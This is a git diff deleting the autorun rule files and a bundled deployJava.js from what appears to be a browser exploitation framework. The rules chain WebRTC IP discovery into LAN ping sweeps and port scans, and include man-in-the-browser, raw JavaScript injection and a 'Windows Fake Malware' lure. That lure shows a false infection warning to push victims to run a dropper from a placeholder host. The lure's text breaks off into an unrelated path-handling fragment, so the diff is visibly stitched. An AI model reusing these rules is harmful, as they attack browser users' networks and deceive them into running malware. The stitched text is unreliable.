- }
- }
- ],
- "execution_order": [0, 1],
- "execution_delay": [0, 0],
- "chain_mode": "nested-forward"
-}
diff --git a/arerules/lan_http_scan_common.json b/arerules/lan_http_scan_common.json
deleted file mode 100644
index 238a04983..000000000
--- a/arerules/lan_http_scan_common.json
+++ /dev/null
@@ -1,19 +0,0 @@
-{"name": "LAN HTTP Scan (Common IPs)",
- "author": "bcoles",
- "modules": [
- {"name": "get_http_servers",
- "condition": null,
- "code": null,
- "options": {
- "rhosts":"common",
- "ports":"80,8080",
- "threads":"3",
- "wait":"5",
- "timeout":"10"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/lan_ping_sweep.json b/arerules/lan_ping_sweep.json
deleted file mode 100644
index 8f58ccc01..000000000
--- a/arerules/lan_ping_sweep.json
+++ /dev/null
@@ -1,22 +0,0 @@
-{"name": "LAN Ping Sweep",
- "author": "bcoles",
- "browser": "FF",
- "modules": [
- {"name": "get_internal_ip_webrtc",
- "condition": null,
- "code": null,
- "options": {}
- },
- {"name": "ping_sweep",
- "condition": "status==1",
- "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
- "options": {
- "rhosts":"<>",
- "threads":"3"
- }
- }
- ],
- "execution_order": [0, 1],
- "execution_delay": [0, 0],
- "chain_mode": "nested-forward"
-}
diff --git a/arerules/lan_ping_sweep_common.json b/arerules/lan_ping_sweep_common.json
deleted file mode 100644
index 4c21b7f3d..000000000
--- a/arerules/lan_ping_sweep_common.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{"name": "LAN Ping Sweep (Common IPs)",
- "author": "bcoles",
- "browser": "FF",
- "modules": [
- {"name": "ping_sweep",
- "condition": null,
- "code": null,
- "options": {
- "rhosts":"common",
- "threads":"3"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/lan_port_scan.json b/arerules/lan_port_scan.json
deleted file mode 100644
index 47d72e25f..000000000
--- a/arerules/lan_port_scan.json
+++ /dev/null
@@ -1,25 +0,0 @@
-{"name": "LAN Port Scan",
- "author": "aburro & aussieklutz",
- "modules": [
- {"name": "get_internal_ip_webrtc",
- "condition": null,
- "code": null,
- "options": {}
- },
- {"name": "port_scanner",
- "condition": "status==1",
- "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
- "options": {
- "ipHost":"<>",
- "ports":"80,8080",
- "closetimeout":"1100",
- "opentimeout":"2500",
- "delay":"600",
- "debug":"false"
- }
- }
- ],
- "execution_order": [0, 1],
- "execution_delay": [0, 0],
- "chain_mode": "nested-forward"
-}
diff --git a/arerules/lan_sw_port_scan.json b/arerules/lan_sw_port_scan.json
deleted file mode 100644
index 2405dc778..000000000
--- a/arerules/lan_sw_port_scan.json
+++ /dev/null
@@ -1,21 +0,0 @@
-{"name": "LAN SW Port Scan",
- "author": "aburro & aussieklutz",
- "modules": [
- {"name": "get_internal_ip_webrtc",
- "condition": null,
- "code": null,
- "options": {}
- },
- {"name": "sw_port_scanner",
- "condition": "status==1",
- "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
- "options": {
- "ipHost":"192.168.1.10",
- "ports":"80,8080"
- }
- }
- ],
- "execution_order": [0, 1],
- "execution_delay": [0, 0],
- "chain_mode": "nested-forward"
-}
diff --git a/arerules/man_in_the_browser.json b/arerules/man_in_the_browser.json
deleted file mode 100644
index 31f9c370e..000000000
--- a/arerules/man_in_the_browser.json
+++ /dev/null
@@ -1,13 +0,0 @@
-{"name": "Perform Man-In-The-Browser",
- "author": "mgeeky",
- "modules": [
- {"name": "man_in_the_browser",
- "condition": null,
- "code": null,
- "options": {}
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/raw_javascript.json b/arerules/raw_javascript.json
deleted file mode 100644
index 6e7bca3e7..000000000
--- a/arerules/raw_javascript.json
+++ /dev/null
@@ -1,15 +0,0 @@
-{
- "name": "Raw JavaScript",
- "author": "wade@bindshell.net",
- "modules": [
- {"name": "raw_javascript",
- "condition": null,
- "options": {
- "cmd": "alert(0xBeEF);"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/record_snapshots.json b/arerules/record_snapshots.json
deleted file mode 100644
index 9d0178699..000000000
--- a/arerules/record_snapshots.json
+++ /dev/null
@@ -1,15 +0,0 @@
-{"name": "Collects multiple snapshots of the webpage within Same-Origin",
- "author": "mgeeky",
- "modules": [
- {"name": "spyder_eye",
- "condition": null,
- "options": {
- "repeat":"10",
- "delay":"3000"
- }
- }
- ],
- "execution_order": [0],
- "execution_delay": [0],
- "chain_mode": "sequential"
-}
diff --git a/arerules/win_fake_malware.json b/arerules/win_fake_malware.json
deleted file mode 100644
index f0daf9580..000000000
--- a/arerules/win_fake_malware.json
+++ /dev/null
@@ -1,35 +0,0 @@
-// note: update your dropper URL (dropper.local) in each of the modules below
-{
- "name": "Windows Fake Malware",
- "author": "bcoles",
- "os": "Windows",
- "modules": [
- {
- "name": "blockui",
- "condition": null,
- "options": {
- "message": "
This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online.
resolves . and .. elements in a path array with directory names there
-must be no slashes, empty elements, or device names (c:) in the array
-(so also no leading and trailing slashes - it does not distinguish
-relative and absolute paths)
/*
- * Copyright (c) 2006, 2012, Oracle and/or its affiliates. All rights reserved.
- * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * - Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *
- * - Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * - Neither the name of Oracle nor the names of its
- * contributors may be used to endorse or promote products derived
- * from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
- * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
- * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-/*
- * deployJava.js
- *
- * This file is part of the Deployment Toolkit. It provides functions for web
- * pages to detect the presence of a JRE, install the latest JRE, and easily run
- * applets or Web Start programs. More Information on usage of the
- * Deployment Toolkit can be found in the Deployment Guide at:
- * http://docs.oracle.com/javase/6/docs/technotes/guides/jweb/index.html
- *
- * The "live" copy of this file may be found at :
- * http://java.com/js/deployJava.js.
- * For web pages provisioned using https, you may want to access the copy at:
- * https://java.com/js/deployJava.js.
- *
- * You are encouraged to link directly to the live copies.
- * The above files are stripped of comments and whitespace for performance,
- * You can access this file w/o the whitespace and comments removed at:
- * http://java.com/js/deployJava.txt.
- *
- */
-
-var deployJava = function() {
- /** HTML attribute filter implementation */
- var hattrs = {
- core: [ 'id', 'class', 'title', 'style' ],
- i18n: [ 'lang', 'dir' ],
- events: [ 'onclick', 'ondblclick', 'onmousedown', 'onmouseup',
- 'onmouseover', 'onmousemove', 'onmouseout', 'onkeypress',
- 'onkeydown', 'onkeyup' ],
- applet: [ 'codebase', 'code', 'name', 'archive', 'object',
- 'width', 'height', 'alt', 'align', 'hspace', 'vspace' ],
- object: [ 'classid', 'codebase', 'codetype', 'data', 'type',
- 'archive', 'declare', 'standby', 'height', 'width', 'usemap',
- 'name', 'tabindex', 'align', 'border', 'hspace', 'vspace' ]
- };
-
- var object_valid_attrs = hattrs.object.concat(hattrs.core, hattrs.i18n,
- hattrs.events);
- var applet_valid_attrs = hattrs.applet.concat(hattrs.core);
-
- // generic log function
- function log(message) {
- if ( ! rv.debug ) {return};
- beef.debug(message);
- }
-
- //checks where given version string matches query
- //
- //NB: assume format is correct. Can add format check later if needed
- // from dtjava.js
- function versionCheckEx(query, version) {
- if (query == null || query.length == 0) return true;
-
- var c = query.charAt(query.length - 1);
-
- //if it is not explicit pattern but does not have update version then need to append *
- if (c != '+' && c != '*' && (query.indexOf('_') != -1 && c != '_')) {
- query = query + "*";
- c = '*';
- }
-
- query = query.substring(0, query.length - 1);
- //if query ends with ".", "_" then we want to strip it to allow match of "1.6.*" to shorter form such as "1.6"
- //TODO: add support for match of "1.7.0*" to "1.7"?
- if (query.length > 0) {
- var z = query.charAt(query.length - 1);
- if (z == '.' || z == '_') {
- query = query.substring(0, query.length - 1);
- }
- }
- if (c == '*') {
- //it is match if version starts from it
- return (version.indexOf(query) == 0);
- } else if (c == '+') {
- //match if query string is lexicographically smaller
- return query <= version;
- }
- return false;
- }
-
- function getWebStartLaunchIconURL() {
- var imageUrl = '//java.com/js/webstart.png';
- try {
- // for http/https; use protocol less url; use http for all other protocol
- return document.location.protocol.indexOf('http') != -1 ?
- imageUrl : 'http:' + imageUrl;
- } catch (err) {
- return 'http:' + imageUrl;
- }
- }
-
- // GetJava page
- function constructGetJavaURL(query) {
-
- var getJavaURL = 'http://java.com/dt-redirect';
-
- if (query == null || query.length == 0) return getJavaURL;
- if(query.charAt(0) == '&')
- {
- query = query.substring(1, query.length);
- }
- return getJavaURL + '?'+ query;
- }
-
- function arHas(ar, attr) {
- var len = ar.length;
- for (var i = 0; i < len; i++) {
- if (ar[i] === attr) return true;
- }
- return false;
- }
-
- function isValidAppletAttr(attr) {
- return arHas(applet_valid_attrs, attr.toLowerCase());
- }
-
- function isValidObjectAttr(attr) {
- return arHas(object_valid_attrs, attr.toLowerCase());
- }
-
- /**
- * returns true if we can enable DT plugin auto-install without chance of
- * deadlock on cert mismatch dialog
- *
- * requestedJREVersion param is optional - if null, it will be
- * treated as installing any JRE version
- *
- * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
- * If it encounter Oracle signed JRE installer, it will have chance of
- * deadlock when running with IE. This function is to guard against this.
- */
- function enableWithoutCertMisMatchWorkaround(requestedJREVersion) {
-
- // Non-IE browser are okay
- if ('MSIE' != deployJava.browserName) return true;
-
- // if DT plugin is 10.0.0 or above, return true
- // This is because they are aware of both SUN and Oracle signature and
- // will not show cert mismatch dialog that might cause deadlock
- if (deployJava.compareVersionToPattern(deployJava.getPlugin().version,
- ["10", "0", "0"], false, true)) {
- return true;
- }
-
- // If we got there, DT plugin is 6uX
-
- if (requestedJREVersion == null) {
- // if requestedJREVersion is not defined - it means ANY.
- // can not guarantee it is safe to install ANY version because 6uX
- // DT does not know about Oracle certificates and may deadlock
- return false;
- }
-
- // 6u32 or earlier JRE installer used Sun certificate
- // 6u33+ uses Oracle's certificate
- // DT in JRE6 does not know about Oracle certificate => can only
- // install 6u32 or earlier without risk of deadlock
- return !versionCheckEx("1.6.0_33+", requestedJREVersion);
- }
-
- /* HTML attribute filters */
-
- var rv = {
-
- debug: null,
-
- /* version of deployJava.js */
- version: "20120801",
-
- firefoxJavaVersion: null,
-
- myInterval: null,
- preInstallJREList: null,
- returnPage: null,
- brand: null,
- locale: null,
- installType: null,
-
- EAInstallEnabled: false,
- EarlyAccessURL: null,
-
-
- // mime-type of the DeployToolkit plugin object
- oldMimeType: 'application/npruntime-scriptable-plugin;DeploymentToolkit',
- mimeType: 'application/java-deployment-toolkit',
-
- /* location of the Java Web Start launch button graphic is right next to
- * deployJava.js at:
- * http://java.com/js/webstart.png
- *
- * Use protocol less url here for http/https support
- */
- launchButtonPNG: getWebStartLaunchIconURL(),
-
- browserName: null,
- browserName2: null,
-
- /**
- * Returns an array of currently-installed JRE version strings.
- * Version strings are of the form #.#[.#[_#]], with the function returning
- * as much version information as it can determine, from just family
- * versions ("1.4.2", "1.5") through the full version ("1.5.0_06").
- *
- * Detection is done on a best-effort basis. Under some circumstances
- * only the highest installed JRE version will be detected, and
- * JREs older than 1.4.2 will not always be detected.
- */
- getJREs: function() {
- var list = new Array();
- if (this.isPluginInstalled()) {
- var plugin = this.getPlugin();
- var VMs = plugin.jvms;
- for (var i = 0; i < VMs.getLength(); i++) {
- list[i] = VMs.get(i).version;
- }
- } else {
- var browser = this.getBrowser();
-
- if (browser == 'MSIE') {
- if (this.testUsingActiveX('1.7.0')) {
- list[0] = '1.7.0';
- } else if (this.testUsingActiveX('1.6.0')) {
- list[0] = '1.6.0';
- } else if (this.testUsingActiveX('1.5.0')) {
- list[0] = '1.5.0';
- } else if (this.testUsingActiveX('1.4.2')) {
- list[0] = '1.4.2';
- } else if (this.testForMSVM()) {
- list[0] = '1.1';
- }
- } else if (browser == 'Netscape Family') {
- this.getJPIVersionUsingMimeType();
- if (this.firefoxJavaVersion != null) {
- list[0] = this.firefoxJavaVersion;
- } else if (this.testUsingMimeTypes('1.7')) {
- list[0] = '1.7.0';
- } else if (this.testUsingMimeTypes('1.6')) {
- list[0] = '1.6.0';
- } else if (this.testUsingMimeTypes('1.5')) {
- list[0] = '1.5.0';
- } else if (this.testUsingMimeTypes('1.4.2')) {
- list[0] = '1.4.2';
- } else if (this.browserName2 == 'Safari') {
- if (this.testUsingPluginsArray('1.7.0')) {
- list[0] = '1.7.0';
- } else if (this.testUsingPluginsArray('1.6')) {
- list[0] = '1.6.0';
- } else if (this.testUsingPluginsArray('1.5')) {
- list[0] = '1.5.0';
- } else if (this.testUsingPluginsArray('1.4.2')) {
- list[0] = '1.4.2';
- }
- }
- }
- }
-
- if (this.debug) {
- for (var i = 0; i < list.length; ++i) {
- log('[getJREs()] We claim to have detected Java SE ' + list[i]);
- }
- }
-
- return list;
- },
-
- /**
- * Triggers a JRE installation. The exact effect of triggering an
- * installation varies based on platform, browser, and if the
- * Deployment Toolkit plugin is installed.
- *
- * The requestVersion string is of the form #[.#[.#[_#]]][+|*],
- * which includes strings such as "1.4", "1.5.0*", and "1.6.0_02+".
- * A star (*) means "any version starting within this family" and
- * a plus (+) means "any version greater or equal to this".
- * "1.5.0*" * matches 1.5.0_06 but not 1.6.0_01, whereas
- * "1.5.0+" matches both.
- *
- * installCallback is an optional argument which holds a reference
- * to a javascript callback function for reporting install status.
- *
- * If the Deployment Toolkit plugin is not present, this will just call
- * this.installLatestJRE().
- */
- installJRE: function(requestVersion, installCallback) {
- var ret = false;
- if (this.isPluginInstalled() &&
- this.isAutoInstallEnabled(requestVersion)) {
- var installSucceeded = false;
- if (this.isCallbackSupported()) {
- installSucceeded =
- this.getPlugin().installJRE(requestVersion, installCallback);
- } else {
- installSucceeded = this.getPlugin().installJRE(requestVersion);
- }
-
- if (installSucceeded) {
- this.refresh();
- if (this.returnPage != null) {
- document.location = this.returnPage;
- }
- }
- return installSucceeded;
- } else {
- return this.installLatestJRE();
- }
- },
-
- /**
- * returns true if jre auto install for the requestedJREVersion is enabled
- * for the local system; false otherwise
- *
- * requestedJREVersion param is optional - if not specified, it will be
- * treated as installing any JRE version
- *
- * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
- * If it encounter Oracle signed JRE installer, it will have chance of
- * deadlock when running with IE. This function is to guard against this.
- */
- isAutoInstallEnabled: function(requestedJREVersion) {
- // if no DT plugin, return false
- if (!this.isPluginInstalled()) return false;
-
- if (typeof requestedJREVersion == 'undefined') {
- requestedJREVersion = null;
- }
-
- return enableWithoutCertMisMatchWorkaround(requestedJREVersion);
-
- },
-
- /**
- * returns true if jre install callback is supported
- * callback support is added since dt plugin version 10.2.0 or above
- */
- isCallbackSupported: function() {
- return this.isPluginInstalled() &&
- this.compareVersionToPattern(this.getPlugin().version,
- ["10", "2", "0"], false, true);
- },
-
- /**
- * Triggers a JRE installation. The exact effect of triggering an
- * installation varies based on platform, browser, and if the
- * Deployment Toolkit plugin is installed.
- *
- * In the simplest case, the browser window will be redirected to the
- * java.com JRE installation page, and (if possible) a redirect back to
- * the current URL upon successful installation. The return redirect is
- * not always possible, as the JRE installation may require the browser to
- * be restarted.
- *
- * installCallback is an optional argument which holds a reference
- * to a javascript callback function for reporting install status.
- *
- * In the best case (when the Deployment Toolkit plugin is present), this
- * function will immediately cause a progress dialog to be displayed
- * as the JRE is downloaded and installed.
- */
- installLatestJRE: function(installCallback) {
- if (this.isPluginInstalled() && this.isAutoInstallEnabled()) {
- var installSucceeded = false;
- if (this.isCallbackSupported()) {
- installSucceeded = this.getPlugin().installLatestJRE(installCallback);
- } else {
- installSucceeded = this.getPlugin().installLatestJRE();
- }
- if (installSucceeded) {
- this.refresh();
- if (this.returnPage != null) {
- document.location = this.returnPage;
- }
- }
- return installSucceeded;
- } else {
- var browser = this.getBrowser();
- var platform = navigator.platform.toLowerCase();
- if ((this.EAInstallEnabled == 'true') &&
- (platform.indexOf('win') != -1) &&
- (this.EarlyAccessURL != null)) {
-
- this.preInstallJREList = this.getJREs();
- if (this.returnPage != null) {
- this.myInterval =
- setInterval("deployJava.poll()", 3000);
- }
-
- location.href = this.EarlyAccessURL;
-
- // we have to return false although there may be an install
- // in progress now, when complete it may go to return page
- return false;
- } else {
- if (browser == 'MSIE') {
- return this.IEInstall();
- } else if ((browser == 'Netscape Family') &&
- (platform.indexOf('win32') != -1)) {
- return this.FFInstall();
- } else {
- location.href = constructGetJavaURL(
- ((this.returnPage != null) ?
- ('&returnPage=' + this.returnPage) : '') +
- ((this.locale != null) ?
- ('&locale=' + this.locale) : '') +
- ((this.brand != null) ?
- ('&brand=' + this.brand) : ''));
- }
- // we have to return false although there may be an install
- // in progress now, when complete it may go to return page
- return false;
- }
- }
- },
-
-
- /**
- * Ensures that an appropriate JRE is installed and then runs an applet.
- * minimumVersion is of the form #[.#[.#[_#]]], and is the minimum
- * JRE version necessary to run this applet. minimumVersion is optional,
- * defaulting to the value "1.1" (which matches any JRE).
- * If an equal or greater JRE is detected, runApplet() will call
- * writeAppletTag(attributes, parameters) to output the applet tag,
- * otherwise it will call installJRE(minimumVersion + '+').
- *
- * After installJRE() is called, the script will attempt to detect that the
- * JRE installation has completed and begin running the applet, but there
- * are circumstances (such as when the JRE installation requires a browser
- * restart) when this cannot be fulfilled.
- *
- * As with writeAppletTag(), this function should only be called prior to
- * the web page being completely rendered. Note that version wildcards
- * (star (*) and plus (+)) are not supported, and including them in the
- * minimumVersion will result in an error message.
- */
- runApplet: function(attributes, parameters, minimumVersion) {
- if (minimumVersion == 'undefined' || minimumVersion == null) {
- minimumVersion = '1.1';
- }
-
- var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
-
- var matchData = minimumVersion.match(regex);
-
- if (this.returnPage == null) {
- // if there is an install, come back here and run the applet
- this.returnPage = document.location;
- }
-
- if (matchData != null) {
- var browser = this.getBrowser();
- if (browser != '?') {
- if (this.versionCheck(minimumVersion + '+')) {
- this.writeAppletTag(attributes, parameters);
- } else if (this.installJRE(minimumVersion + '+')) {
- // after successful install we need to refresh page to pick
- // pick up new plugin
- this.refresh();
- location.href = document.location;
- this.writeAppletTag(attributes, parameters);
- }
- } else {
- // for unknown or Safari - just try to show applet
- this.writeAppletTag(attributes, parameters);
- }
- } else {
- log('[runApplet()] Invalid minimumVersion argument to runApplet():' +
- minimumVersion);
- }
- },
-
-
- /**
- * Outputs an applet tag with the specified attributes and parameters, where
- * both attributes and parameters are associative arrays. Each key/value
- * pair in attributes becomes an attribute of the applet tag itself, while
- * key/value pairs in parameters become <PARAM> tags. No version checking
- * or other special behaviors are performed; the tag is simply written to
- * the page using document.writeln().
- *
- * As document.writeln() is generally only safe to use while the page is
- * being rendered, you should never call this function after the page
- * has been completed.
- */
- writeAppletTag: function(attributes, parameters) {
- var startApplet = '<' + 'applet ';
- var params = '';
- var endApplet = '<' + '/' + 'applet' + '>';
- var addCodeAttribute = true;
-
- if (null == parameters || typeof parameters != 'object') {
- parameters = new Object();
- }
-
- for (var attribute in attributes) {
- if (! isValidAppletAttr(attribute)) {
- parameters[attribute] = attributes[attribute];
- } else {
- startApplet += (' ' +attribute+ '="' +attributes[attribute] + '"');
- if (attribute == 'code') {
- addCodeAttribute = false;
- }
- }
- }
-
- var codebaseParam = false;
- for (var parameter in parameters) {
- if (parameter == 'codebase_lookup') {
- codebaseParam = true;
- }
- // Originally, parameter 'object' was used for serialized
- // applets, later, to avoid confusion with object tag in IE
- // the 'java_object' was added. Plugin supports both.
- if (parameter == 'object' || parameter == 'java_object' ||
- parameter == 'java_code' ) {
- addCodeAttribute = false;
- }
- params += '<param name="' + parameter + '" value="' +
- parameters[parameter] + '"/>';
- }
- if (!codebaseParam) {
- params += '<param name="codebase_lookup" value="false"/>';
- }
-
- if (addCodeAttribute) {
- startApplet += (' code="dummy"');
- }
- startApplet += '>';
-
- document.write(startApplet + '\n' + params + '\n' + endApplet);
- },
-
-
- /**
- * Returns true if there is a matching JRE version currently installed
- * (among those detected by getJREs()). The versionPattern string is
- * of the form #[.#[.#[_#]]][+|*], which includes strings such as "1.4",
- * "1.5.0*", and "1.6.0_02+".
- * A star (*) means "any version within this family" and a plus (+) means
- * "any version greater or equal to the specified version". "1.5.0*"
- * matches 1.5.0_06 but not 1.6.0_01, whereas "1.5.0+" matches both.
- *
- * If the versionPattern does not include all four version components
- * but does not end with a star or plus, it will be treated as if it
- * ended with a star. "1.5" is exactly equivalent to "1.5*", and will
- * match any version number beginning with "1.5".
- *
- * If getJREs() is unable to detect the precise version number, a match
- * could be ambiguous. For example if getJREs() detects "1.5", there is
- * no way to know whether the JRE matches "1.5.0_06+". versionCheck()
- * compares only as much of the version information as could be detected,
- * so versionCheck("1.5.0_06+") would return true in in this case.
- *
- * Invalid versionPattern will result in a JavaScript error alert.
- * versionPatterns which are valid but do not match any existing JRE
- * release (e.g. "32.65+") will always return false.
- */
- versionCheck: function(versionPattern)
- {
- var index = 0;
- var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$";
-
- var matchData = versionPattern.match(regex);
-
- if (matchData != null) {
- // default is exact version match
- // examples:
- // local machine has 1.7.0_04 only installed
- // exact match request is "1.7.0_05": return false
- // family match request is "1.7.0*": return true
- // minimum match request is "1.6+": return true
- var familyMatch = false;
- var minMatch = false;
-
- var patternArray = new Array();
-
- for (var i = 1; i < matchData.length; ++i) {
- // browser dependency here.
- // Fx sets 'undefined', IE sets '' string for unmatched groups
- if ((typeof matchData[i] == 'string') && (matchData[i] != '')) {
- patternArray[index] = matchData[i];
- index++;
- }
- }
-
- if (patternArray[patternArray.length-1] == '+') {
- // + specified in request - doing a minimum match
- minMatch = true;
- familyMatch = false;
- patternArray.length--;
- } else if (patternArray[patternArray.length-1] == '*') {
- // * specified in request - doing a family match
- minMatch = false;
- familyMatch = true;
- patternArray.length--;
- } else if (patternArray.length < 4) {
- // versionPattern does not include all four version components
- // and does not end with a star or plus, it will be treated as
- // if it ended with a star. (family match)
- minMatch = false;
- familyMatch = true;
- }
-
- var list = this.getJREs();
- for (var i = 0; i < list.length; ++i) {
- if (this.compareVersionToPattern(list[i], patternArray,
- familyMatch, minMatch)) {
- return true;
- }
- }
-
- return false;
- } else {
- var msg = 'Invalid versionPattern passed to versionCheck: ' +
- versionPattern;
- log('[versionCheck()] ' + msg);
- alert(msg);
- return false;
- }
- },
-
-
- /**
- * Returns true if an installation of Java Web Start of the specified
- * minimumVersion can be detected. minimumVersion is optional, and
- * if not specified, '1.4.2' will be used.
- * (Versions earlier than 1.4.2 may not be detected.)
- */
- isWebStartInstalled: function(minimumVersion) {
-
- var browser = this.getBrowser();
- if (browser == '?') {
- // we really don't know - better to try to use it than reinstall
- return true;
- }
-
- if (minimumVersion == 'undefined' || minimumVersion == null) {
- minimumVersion = '1.4.2';
- }
-
- var retval = false;
- var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
- var matchData = minimumVersion.match(regex);
-
- if (matchData != null) {
- retval = this.versionCheck(minimumVersion + '+');
- } else {
- log('[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): ' + minimumVersion);
- retval = this.versionCheck('1.4.2+');
- }
- return retval;
- },
-
- // obtain JPI version using navigator.mimeTypes array
- // if found, set the version to this.firefoxJavaVersion
- getJPIVersionUsingMimeType: function() {
- // Walk through the full list of mime types.
- for (var i = 0; i < navigator.mimeTypes.length; ++i) {
- var s = navigator.mimeTypes[i].type;
- // The jpi-version is the plug-in version. This is the best
- // version to use.
- var m = s.match(/^application\/x-java-applet;jpi-version=(.*)$/);
- if (m != null) {
- this.firefoxJavaVersion = m[1];
- // Opera puts the latest sun JRE last not first
- if ('Opera' != this.browserName2) {
- break;
- }
- }
- }
- },
-
- // launch the specified JNLP application using the passed in jnlp file
- // the jnlp file does not need to have a codebase
- // this requires JRE 7 or above to work
- // if machine has no JRE 7 or above, we will try to auto-install and then launch
- // (function will return false if JRE auto-install failed)
- launchWebStartApplication: function(jnlp) {
- var uaString = navigator.userAgent.toLowerCase();
-
- this.getJPIVersionUsingMimeType();
-
- // make sure we are JRE 7 or above
- if (this.isWebStartInstalled('1.7.0') == false) {
-
- // perform latest JRE auto-install
- if ((this.installJRE('1.7.0+') == false) ||
- ((this.isWebStartInstalled('1.7.0') == false))) {
- return false;
- }
- }
-
- var jnlpDocbase = null;
-
- // use document.documentURI for docbase
- if (document.documentURI) {
- jnlpDocbase = document.documentURI;
- }
-
- // fallback to document.URL if documentURI not available
- if (jnlpDocbase == null) {
- jnlpDocbase = document.URL;
- }
-
- var browser = this.getBrowser();
-
- var launchTag;
-
- if (browser == 'MSIE') {
-
- launchTag = '<' +
- 'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" ' +
- 'width="0" height="0">' +
- '<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>' +
- '<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>' +
- '<' + '/' + 'object' + '>';
- } else if (browser == 'Netscape Family') {
-
- launchTag = '<' +
- 'embed type="application/x-java-applet;jpi-version=' +
- this.firefoxJavaVersion + '" ' +
- 'width="0" height="0" ' +
- 'launchjnlp="' + jnlp + '"' +
- 'docbase="' + jnlpDocbase + '"' +
- ' />';
- }
-
- if (document.body == 'undefined' || document.body == null) {
- document.write(launchTag);
- // go back to original page, otherwise current page becomes blank
- document.location = jnlpDocbase;
- } else {
- var divTag = document.createElement("div");
- divTag.id = "div1";
- divTag.style.position = "relative";
- divTag.style.left = "-10000px";
- divTag.style.margin = "0px auto";
- divTag.className ="dynamicDiv";
- divTag.innerHTML = launchTag;
- document.body.appendChild(divTag);
- }
- },
-
- createWebStartLaunchButtonEx: function(jnlp, minimumVersion) {
-
- if (this.returnPage == null) {
- // if there is an install, come back and run the jnlp file
- this.returnPage = jnlp;
- }
-
- var url = 'javascript:deployJava.launchWebStartApplication(\'' + jnlp +
- '\');';
-
- document.write('<' + 'a href="' + url +
- '" onMouseOver="window.status=\'\'; ' +
- 'return true;"><' + 'img ' +
- 'src="' + this.launchButtonPNG + '" ' +
- 'border="0" /><' + '/' + 'a' + '>');
- },
-
-
- /**
- * Outputs a launch button for the specified JNLP URL. When clicked, the
- * button will ensure that an appropriate JRE is installed and then launch
- * the JNLP application. minimumVersion is of the form #[.#[.#[_#]]], and
- * is the minimum JRE version necessary to run this JNLP application.
- * minimumVersion is optional, and if it is not specified, '1.4.2'
- * will be used.
- * If an appropriate JRE or Web Start installation is detected,
- * the JNLP application will be launched, otherwise installLatestJRE()
- * will be called.
- *
- * After installLatestJRE() is called, the script will attempt to detect
- * that the JRE installation has completed and launch the JNLP application,
- * but there are circumstances (such as when the JRE installation
- * requires a browser restart) when this cannot be fulfilled.
- */
- createWebStartLaunchButton: function(jnlp, minimumVersion) {
-
- if (this.returnPage == null) {
- // if there is an install, come back and run the jnlp file
- this.returnPage = jnlp;
- }
-
- var url = 'javascript:' +
- 'if (!deployJava.isWebStartInstalled("' +
- minimumVersion + '")) {' +
- 'if (deployJava.installLatestJRE()) {' +
- 'if (deployJava.launch("' + jnlp + '")) {}' +
- '}' +
- '} else {' +
- 'if (deployJava.launch("' + jnlp + '")) {}' +
- '}';
-
- document.write('<' + 'a href="' + url +
- '" onMouseOver="window.status=\'\'; ' +
- 'return true;"><' + 'img ' +
- 'src="' + this.launchButtonPNG + '" ' +
- 'border="0" /><' + '/' + 'a' + '>');
- },
-
-
- /**
- * Launch a JNLP application, (using the plugin if available)
- */
- launch: function(jnlp) {
- /*
- * Using the plugin to launch Java Web Start is disabled for the time being
- */
- document.location=jnlp;
- return true;
- },
-
-
- /*
- * returns true if the ActiveX or XPI plugin is installed
- */
- isPluginInstalled: function() {
- var plugin = this.getPlugin();
- if (plugin && plugin.jvms) {
- return true;
- } else {
- return false;
